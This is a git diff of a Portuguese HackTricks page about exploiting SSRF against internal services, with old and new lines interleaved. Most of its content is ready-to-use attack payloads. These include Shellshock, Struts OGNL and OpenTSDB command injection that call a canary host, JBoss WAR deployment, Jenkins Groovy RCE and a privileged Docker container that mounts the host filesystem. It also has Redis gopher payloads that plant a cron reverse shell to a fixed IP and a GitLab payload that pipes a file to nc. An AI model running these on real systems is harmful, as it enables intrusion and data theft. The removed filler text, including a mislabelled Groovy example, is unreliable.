* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>
@ -16,19 +18,19 @@ Esta seção foi copiada de [https://blog.assetnote.io/2021/01/13/blind-ssrf-cha
## Elasticsearch
**Porta comummente utilizada: 9200**
**Porta comum: 9200**
Quando o Elasticsearch é implantado internamente, geralmente não requer autenticação.
Se você tiver um SSRF parcialmente cego onde você pode determinar o código de status, verifique se os seguintes endpoints retornam um 200:
Se você tem um SSRF parcialmente cego onde pode determinar o código de status, verifique se os seguintes endpoints retornam um 200:
```http
/_cluster/health
/_cat/indices
/_cat/health
```
Se você tiver um SSRF cego onde você pode enviar solicitações POST, você pode desligar a instância do Elasticsearch enviando uma solicitação POST para o seguinte caminho:
Se você tem um SSRF cego onde pode enviar requisições POST, você pode desligar a instância do Elasticsearch enviando uma requisição POST para o seguinte caminho:
Observação: a API `_shutdown` foi removida da versão 2.x e posterior do Elasticsearch. Isso só funciona no Elasticsearch 1.6 e abaixo:
Nota: a API `_shutdown` foi removida do Elasticsearch na versão 2.x. e superiores. Isso só funciona no Elasticsearch 1.6 e abaixo:
```http
/_shutdown
/_cluster/nodes/_master/_shutdown
@ -37,7 +39,7 @@ Observação: a API `_shutdown` foi removida da versão 2.x e posterior do Elast
```
## Weblogic
**Portas comumente vinculadas: 80, 443 (SSL), 7001, 8888**
**Portas comuns: 80, 443 (SSL), 7001, 8888**
**SSRF Canary: UDDI Explorer (CVE-2014-4210)**
```http
@ -52,7 +54,7 @@ Isso também funciona via GET:
```bash
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
```
Este endpoint também é vulnerável à injeção de CRLF:
Este endpoint também é vulnerável a injeção CRLF:
```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
@ -81,7 +83,7 @@ Connection: Keep-Alive
```
**SSRF Canary: CVE-2020-14883**
Retirado [aqui](https://forum.90sec.com/t/topic/1412).
Retirado [daqui](https://forum.90sec.com/t/topic/1412).
Linux:
```http
@ -98,25 +100,7 @@ Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
```
# Plataformas vulneráveis ​​a SSRF
A Server-Side Request Forgery (SSRF) é uma vulnerabilidade comum que permite que um invasor envie solicitações HTTP de um servidor para outros recursos internos ou externos. Essa vulnerabilidade pode ser explorada para acessar informações confidenciais, executar comandos no servidor ou até mesmo atacar outros sistemas.
Aqui estão algumas plataformas vulneráveis ​​a SSRF no ambiente Windows:
## IIS (Internet Information Services)
O IIS é um servidor web da Microsoft que é amplamente utilizado em ambientes Windows. Ele pode ser vulnerável a ataques de SSRF se não estiver configurado corretamente. Os invasores podem explorar essa vulnerabilidade para acessar recursos internos ou externos não autorizados.
## ASP.NET
O ASP.NET é um framework de desenvolvimento web da Microsoft. Ele também pode ser vulnerável a ataques de SSRF se não for implementado corretamente. Os invasores podem explorar essa vulnerabilidade para enviar solicitações HTTP para outros recursos internos ou externos.
## Serviços de nuvem
Além disso, vários serviços de nuvem baseados em Windows, como o Azure e o AWS, podem ser vulneráveis ​​a ataques de SSRF se não forem configurados corretamente. Os invasores podem explorar essa vulnerabilidade para acessar recursos internos ou externos não autorizados nessas plataformas.
É importante lembrar que a segurança dessas plataformas depende da configuração correta e das práticas recomendadas de segurança. Os administradores de sistemas devem garantir que todas as configurações sejam revisadas e atualizadas regularmente para evitar vulnerabilidades de SSRF.
Windows:
```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
@ -133,17 +117,17 @@ _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su
```
## Hashicorp Consul
**Portas comumente vinculadas: 8500, 8501 (SSL)**
**Portas comuns: 8500, 8501 (SSL)**
O relatório pode ser encontrado [aqui](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
Você pode encontrar o writeup [aqui](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
## Shellshock
**Portas comumente vinculadas: 80, 443 (SSL), 8080**
**Portas comuns: 80, 443 (SSL), 8080**
Para testar efetivamente o Shellshock, você pode precisar adicionar um cabeçalho contendo a carga útil. Os seguintes caminhos CGI valem a pena tentar:
Para testar efetivamente o Shellshock, você pode precisar adicionar um cabeçalho contendo o payload. Os seguintes caminhos CGI valem a pena tentar:
Lista curta de caminhos CGI para testar:
Lista curta de caminhos CGI para teste:
[Gist contendo caminhos](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
@ -153,9 +137,9 @@ User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
```
## Apache Druid
**Portas comuns: 80, 8080, 8888, 8082**
**Portas comumente vinculadas: 80, 8080, 8888, 8082**
Veja a referência da API para o Apache Druid [aqui](https://druid.apache.org/docs/latest/operations/api-reference.html).
Veja a referência da API para Apache Druid [aqui](https://druid.apache.org/docs/latest/operations/api-reference.html).
Se você pode visualizar o código de status, verifique os seguintes caminhos para ver se eles retornam um código de status 200:
```bash
@ -169,26 +153,20 @@ Tarefas de desligamento, requer que você adivinhe os IDs das tarefas ou o nome
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
```
Desligar supervisores nos Apache Druid Overlords:
```bash
curl -X POST http://localhost:8090/druid/indexer/v1/supervisor/{supervisorId}/shutdown
```
Este comando envia uma solicitação POST para desligar um supervisor específico nos Apache Druid Overlords. Substitua `{supervisorId}` pelo ID do supervisor que você deseja desligar. Certifique-se de que o Apache Druid esteja em execução localmente na porta 8090.
Supervisores de desligamento em Apache Druid Overlords:
```bash
/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
```
## Apache Solr
**Porta comummente utilizada: 8983**
**Porta comum: 8983**
**SSRF Canary: Parâmetro Shards**
> Para complementar o que o shubham está dizendo - a varredura para o Solr é relativamente fácil. Existe um parâmetro shards= que permite que você salte de SSRF para SSRF para verificar se está atingindo uma instância do Solr às cegas.
> Para adicionar ao que o shubham está dizendo - escanear por solr é relativamente fácil. Existe um parâmetro shards= que permite que você redirecione SSRF para SSRF para verificar se você está atingindo uma instância solr às cegas.
>
> — Хавиж Наффи 🥕 (@nnwakelam) [13 de janeiro de 2021](https://twitter.com/nnwakelam/status/1349298311853821956?ref\_src=twsrc%5Etfw)
> — Хавиж Наффи 🥕 (@nnwakelam) [13 de Janeiro de 2021](https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw)
Retirado [daqui](https://github.com/veracode-research/solr-injection).
```bash
@ -210,7 +188,7 @@ Retirado [daqui](https://github.com/veracode-research/solr-injection).
## PeopleSoft
**Portas comumente vinculadas: 80,443 (SSL)**
**Portas comuns: 80,443 (SSL)**
Retirado desta pesquisa [aqui](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
@ -250,37 +228,7 @@ Content-Type: application/xml
</ContentSections>
</IBRequest>
```
# Plataformas Vulneráveis a SSRF (Server-Side Request Forgery)
## Introdução
Server-Side Request Forgery (SSRF), ou Forjamento de Requisições do Lado do Servidor, é uma vulnerabilidade que permite que um atacante envie requisições a partir do servidor alvo para outros sistemas internos ou externos. Essa vulnerabilidade pode ser explorada para acessar recursos sensíveis, como arquivos internos, bancos de dados ou serviços na nuvem.
Neste documento, discutiremos algumas plataformas populares que são vulneráveis a SSRF e como explorar essa vulnerabilidade nelas.
## Plataformas Vulneráveis
### 1. AWS EC2 Metadata Service
A AWS EC2 Metadata Service é um serviço fornecido pela Amazon Web Services (AWS) que permite que as instâncias EC2 obtenham informações sobre si mesmas, como metadados de instância, chaves SSH e tokens de acesso. No entanto, se a instância EC2 estiver vulnerável a SSRF, um atacante pode explorar essa vulnerabilidade para obter acesso não autorizado a essas informações confidenciais.
Para explorar essa vulnerabilidade, o atacante pode enviar uma requisição para o endpoint `http://169.254.169.254/latest/meta-data/` para obter os metadados da instância EC2.
### 2. Google Cloud Metadata Service
O Google Cloud Metadata Service é um serviço semelhante ao AWS EC2 Metadata Service, fornecido pelo Google Cloud Platform (GCP). Ele permite que as instâncias do Google Compute Engine obtenham informações sobre si mesmas, como metadados de instância, chaves SSH e tokens de acesso. Da mesma forma que a AWS EC2 Metadata Service, se uma instância do Google Compute Engine estiver vulnerável a SSRF, um atacante pode explorar essa vulnerabilidade para obter acesso não autorizado a essas informações confidenciais.
Para explorar essa vulnerabilidade, o atacante pode enviar uma requisição para o endpoint `http://metadata.google.internal/computeMetadata/v1/` para obter os metadados da instância do Google Compute Engine.
### 3. Azure Instance Metadata Service
O Azure Instance Metadata Service é um serviço fornecido pela Microsoft Azure que permite que as instâncias do Azure obtenham informações sobre si mesmas, como metadados de instância, chaves SSH e tokens de acesso. Da mesma forma que a AWS EC2 Metadata Service e o Google Cloud Metadata Service, se uma instância do Azure estiver vulnerável a SSRF, um atacante pode explorar essa vulnerabilidade para obter acesso não autorizado a essas informações confidenciais.
Para explorar essa vulnerabilidade, o atacante pode enviar uma requisição para o endpoint `http://169.254.169.254/metadata/instance?api-version=2019-06-01` para obter os metadados da instância do Azure.
## Conclusão
A SSRF é uma vulnerabilidade séria que pode permitir que um atacante acesse recursos sensíveis em sistemas internos ou externos. É importante que as organizações estejam cientes dessas vulnerabilidades e tomem medidas para mitigá-las, como validar e filtrar as entradas do usuário e restringir o acesso a serviços sensíveis.
**SSRF Canary: XXE #2**
```http
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
@ -291,31 +239,31 @@ Content-Type: application/xml
```
## Apache Struts
**Portas comumente utilizadas: 80, 443 (SSL), 8080, 8443 (SSL)**
**Portas comuns: 80,443 (SSL),8080,8443 (SSL)**
Retirado [daqui](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
**SSRF Canary: Struts2-016**:
Adicione isso ao final de cada endpoint/URL interna que você conhece:
Adicione isso ao final de cada endpoint/URL interno que você conhecer:
```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
```
## JBoss
**Portas comuns: 80, 443 (SSL), 8080, 8443 (SSL)**
**Portas comuns: 80,443 (SSL),8080,8443 (SSL)**
Retirado [daqui](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
**Canário SSRF: Implante WAR a partir de URL**
**SSRF Canary: Implante WAR a partir de URL**
```bash
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
```
## Confluence
**Portas comumente utilizadas: 80, 443 (SSL), 8080, 8443 (SSL)**
**Portas comuns: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: Sharelinks (Versões do Confluence lançadas a partir de novembro de 2016 e anteriores)**
**SSRF Canary: Sharelinks (versões do Confluence lançadas de novembro de 2016 e anteriores)**
```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
```
@ -327,11 +275,11 @@ Retirado [daqui](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
```
## Jira
**Portas comuns: 80, 443 (SSL), 8080, 8443 (SSL)**
**Portas comuns: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
[Ticket de Segurança Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
[Ticket de Segurança da Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
@ -343,7 +291,7 @@ Retirado [daqui](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
```
## Outros Produtos Atlassian
**Portas comuns: 80, 443 (SSL), 8080, 8443 (SSL)**
**Portas comumente vinculadas: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
@ -359,11 +307,11 @@ Retirado [daqui](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
```
## OpenTSDB
**Porta comumente associada: 4242**
**Porta comum: 4242**
[Execução Remota de Código no OpenTSDB](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html)
[Execução Remota de Código OpenTSDB](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html)
**Canário SSRF: curl via RCE**
**SSRF Canary: curl via RCE**
```bash
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
```
@ -375,7 +323,7 @@ Retirado [daqui](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
```
## Jenkins
**Portas comuns: 80, 443 (SSL), 8080, 8888**
**Portas comuns: 80,443 (SSL),8080,8888**
Ótimo artigo [aqui](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).
@ -385,39 +333,11 @@ Retirado [daqui](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
```
**RCE**
Siga as instruções aqui para obter RCE via GET: [Hacking Jenkins Parte 2 - Abusando da Meta Programação para RCE não autenticada!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
Siga as instruções aqui para alcançar RCE via GET: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
```
**RCE via Groovy**
Remote Code Execution (RCE) via Groovy is a vulnerability that allows an attacker to execute arbitrary code on the target server by exploiting a Server-Side Request Forgery (SSRF) vulnerability.
Groovy is a powerful scripting language that runs on the Java Virtual Machine (JVM). It is often used in web applications to perform various tasks, such as data processing and automation.
When an application allows user-supplied input to be passed to a Groovy script without proper validation and sanitization, it can lead to an SSRF vulnerability. An attacker can craft a malicious request that tricks the server into making unintended requests to internal resources, such as the local file system or other internal services.
To exploit this vulnerability, an attacker needs to identify a vulnerable endpoint that accepts user-supplied input and passes it to a Groovy script. The attacker can then manipulate the input to make the server execute arbitrary code.
Here is an example of how an attacker can exploit an SSRF vulnerability to achieve RCE via Groovy:
```groovy
import java.net.URL
def url = new URL(params.url) // User-supplied input
def connection = url.openConnection()
def inputStream = connection.getInputStream()
def reader = new BufferedReader(new InputStreamReader(inputStream))
def response = reader.readLine()
println(response) // Arbitrary code execution
```
In this example, the `params.url` variable represents user-supplied input that is not properly validated. The attacker can provide a malicious URL that points to a script they control. The server will make a request to the attacker's script and execute the arbitrary code specified in the script.
To prevent RCE via Groovy, it is essential to validate and sanitize all user-supplied input before passing it to a Groovy script. Additionally, it is recommended to restrict the server's access to internal resources and implement proper access controls to prevent unauthorized requests.
It is important for developers and security professionals to be aware of this vulnerability and take appropriate measures to mitigate the risk. Regular security assessments, such as penetration testing, can help identify and address SSRF vulnerabilities before they can be exploited.
```
cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
@ -425,7 +345,7 @@ data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsec
```
## Painel Hystrix
**Portas comumente vinculadas: 80, 443 (SSL), 8080**
**Portas comumente vinculadas: 80,443 (SSL),8080**
Spring Cloud Netflix, versões 2.2.x anteriores a 2.2.4, versões 2.1.x anteriores a 2.1.6.
@ -435,7 +355,7 @@ Spring Cloud Netflix, versões 2.2.x anteriores a 2.2.4, versões 2.1.x anterior
```
## W3 Total Cache
**Portas comumente utilizadas: 80,443 (SSL)**
**Portas comuns: 80,443 (SSL)**
W3 Total Cache 0.9.2.6-0.9.3
@ -455,9 +375,9 @@ Connection: close
```
**SSRF Canary**
O aviso para essa vulnerabilidade foi lançado aqui: [Vulnerabilidade SSRF no W3 Total Cache](https://klikki.fi/adv/w3\_total\_cache.html)
O aviso sobre essa vulnerabilidade foi publicado aqui: [Vulnerabilidade SSRF do W3 Total Cache](https://klikki.fi/adv/w3\_total\_cache.html)
Este código PHP irá gerar um payload para o seu host de teste de SSRF Canary (substitua `url` pelo seu host de teste):
Este código PHP irá gerar um payload para o seu host SSRF Canary (substitua `url` pelo seu host canary):
```php
<?php
@ -473,19 +393,13 @@ echo($req);
**Portas comumente vinculadas: 2375, 2376 (SSL)**
Se você tiver um SSRF parcialmente cego, você pode usar os seguintes caminhos para verificar a presença da API do Docker:
Se você tem um SSRF parcialmente cego, você pode usar os seguintes caminhos para verificar a presença da API do Docker:
```bash
/containers/json
/secrets
/services
```
**RCE através da execução de uma imagem docker arbitrária**
Existem algumas plataformas vulneráveis que permitem a execução de imagens Docker arbitrárias, o que pode levar a uma vulnerabilidade de execução remota de código (RCE). Essa vulnerabilidade ocorre quando um aplicativo permite que o usuário especifique uma imagem Docker para ser executada sem a devida validação ou restrições.
Um atacante pode explorar essa vulnerabilidade fornecendo uma imagem Docker maliciosa que contenha um payload para executar comandos arbitrários no servidor. Isso pode permitir que o atacante assuma o controle total do sistema e execute comandos com os privilégios do usuário que está executando o contêiner Docker.
É importante mencionar que essa vulnerabilidade só existe em plataformas que permitem a execução de imagens Docker arbitrariamente e não implementam medidas de segurança adequadas. Portanto, é fundamental manter todas as plataformas atualizadas e aplicar as melhores práticas de segurança para evitar a exploração dessa vulnerabilidade.
```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
@ -494,17 +408,17 @@ Content-Type: application/json
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
```
Substitua "alpine" por uma imagem arbitrária que você gostaria que o contêiner Docker executasse.
Substitua alpine por uma imagem arbitrária que você gostaria que o contêiner do docker executasse.
## Gitlab Prometheus Redis Exporter
**Portas comumente vinculadas: 9121**
Essa vulnerabilidade afeta instâncias do Gitlab anteriores à versão 13.1.1. De acordo com a [documentação do Gitlab](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus), `Prometheus e seus exportadores estão ativados por padrão, a partir do GitLab 9.0.`
Esta vulnerabilidade afeta instâncias do Gitlab antes da versão 13.1.1. De acordo com a [documentação do Gitlab](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus e seus exportadores estão ativados por padrão, a partir do GitLab 9.0.`
Esses exportadores fornecem um excelente método para um invasor se movimentar e atacar outros serviços usando o CVE-2020-13379. Um dos exportadores que é facilmente explorado é o Redis Exporter.
Esses exportadores fornecem um excelente método para um atacante pivotar e atacar outros serviços usando CVE-2020-13379. Um dos exportadores que é facilmente explorado é o Redis Exporter.
O seguinte endpoint permitirá que um invasor despeje todas as chaves no servidor Redis fornecido pelo parâmetro alvo:
O seguinte endpoint permitirá que um atacante despeje todas as chaves no servidor redis fornecido via parâmetro target:
```bash
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
```
@ -514,12 +428,12 @@ http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
## Redis
**Porta comummente utilizada: 6379**
**Porta comum: 6379**
Leitura recomendada:
* [Tentando hackear o Redis através de solicitações HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
* [Explorações SSRF contra o Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
* [Tentando hackear Redis via requisições HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
* [Exploits SSRF contra Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
**RCE via Cron** - [Superfícies de Ataque Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)
```bash
@ -529,15 +443,7 @@ redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
```
# Plataformas vulneráveis a SSRF
A Server-Side Request Forgery (SSRF) é uma vulnerabilidade que permite que um invasor envie solicitações HTTP a partir de um servidor para outros recursos internos ou externos. Essa vulnerabilidade pode ser explorada para acessar informações confidenciais, executar comandos no servidor ou até mesmo atacar outros sistemas.
Existem várias plataformas que são conhecidas por serem vulneráveis a SSRF. Alguns exemplos incluem:
- **Gopher**: O protocolo Gopher é um protocolo de transferência de documentos que permite que os usuários acessem e recuperem recursos de servidores remotos. No entanto, o Gopher também pode ser explorado para realizar ataques SSRF, pois permite que os usuários especifiquem URLs arbitrárias para recuperar recursos.
É importante destacar que a lista acima não é exaustiva e existem outras plataformas que também podem ser vulneráveis a SSRF. É fundamental que os desenvolvedores e administradores de sistemas estejam cientes dessas vulnerabilidades e implementem medidas de segurança adequadas para mitigar os riscos associados a elas.
Gopher:
```bash
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
```
@ -579,7 +485,7 @@ for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
```
**RCE via authorized\_keys** - [Resumo do Getshell do Redis](https://www.mdeditor.tw/pl/pBy0)
**RCE via authorized_keys** - [Resumo do Redis Getshell](https://www.mdeditor.tw/pl/pBy0)
```python
import urllib
protocol="gopher://"
@ -616,15 +522,15 @@ print payload
```
**RCE no GitLab via protocolo Git**
Ótimo artigo do Liveoverflow [aqui](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).
Ótimo artigo de Liveoverflow [aqui](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).
Embora isso exija acesso autenticado ao GitLab para ser explorado, estou incluindo o payload aqui, pois o protocolo `git` pode funcionar no alvo que você está hackeando. Este payload é apenas para referência.
Embora isso tenha exigido acesso autenticado ao GitLab para explorar, estou incluindo o payload aqui, pois o protocolo `git` pode funcionar no alvo que você está hackeando. Este payload é para referência.
```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
## Memcache
**Porta comumente utilizada: 11211**
**Porta comum: 11211**
* [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)
* [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)
@ -635,19 +541,19 @@ gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
```
## Apache Tomcat
**Portas comumente utilizadas: 80, 443 (SSL), 8080, 8443 (SSL)**
**Portas comuns: 80,443 (SSL),8080,8443 (SSL)**
Efetivo apenas contra o Tomcat 6:
Efetivo apenas contra Tomcat 6:
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
CTF writeup utilizando essa técnica:
Writeup de CTF usando esta técnica:
[De XXE para RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
## FastCGI
**Portas comumente utilizadas: 80, 443 (SSL)**
**Portas comuns: 80,443 (SSL)**
Isso foi retirado [daqui](https://blog.chaitin.cn/gopher-attack-surfaces/).
```bash
@ -655,9 +561,9 @@ gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%
```
## Java RMI
**Portas comumente vinculadas: 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999**
**Portas comumente vinculadas: 1090,1098,1099,1199,4443-4446,8999-9010,9999**
Vulnerabilidades cegas de _SSRF_ que permitem bytes arbitrários (baseados em _gopher_) podem ser usadas para realizar ataques de desserialização ou de código na componentes padrão do _Java RMI_ (_RMI Registry_, _Distributed Garbage Collector_, _Activation System_). Uma descrição detalhada pode ser encontrada [aqui](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). A listagem a seguir mostra um exemplo de geração de payload:
Vulnerabilidades _SSRF_ cegas que permitem bytes arbitrários (_baseados em gopher_) podem ser usadas para realizar ataques de desserialização ou de base de código nos componentes padrão do _Java RMI_ (_RMI Registry_, _Distributed Garbage Collector_, _Activation System_). Um artigo detalhado pode ser encontrado [aqui](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). A listagem a seguir mostra um exemplo para a geração de payload:
```
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
@ -668,12 +574,14 @@ $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.n
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
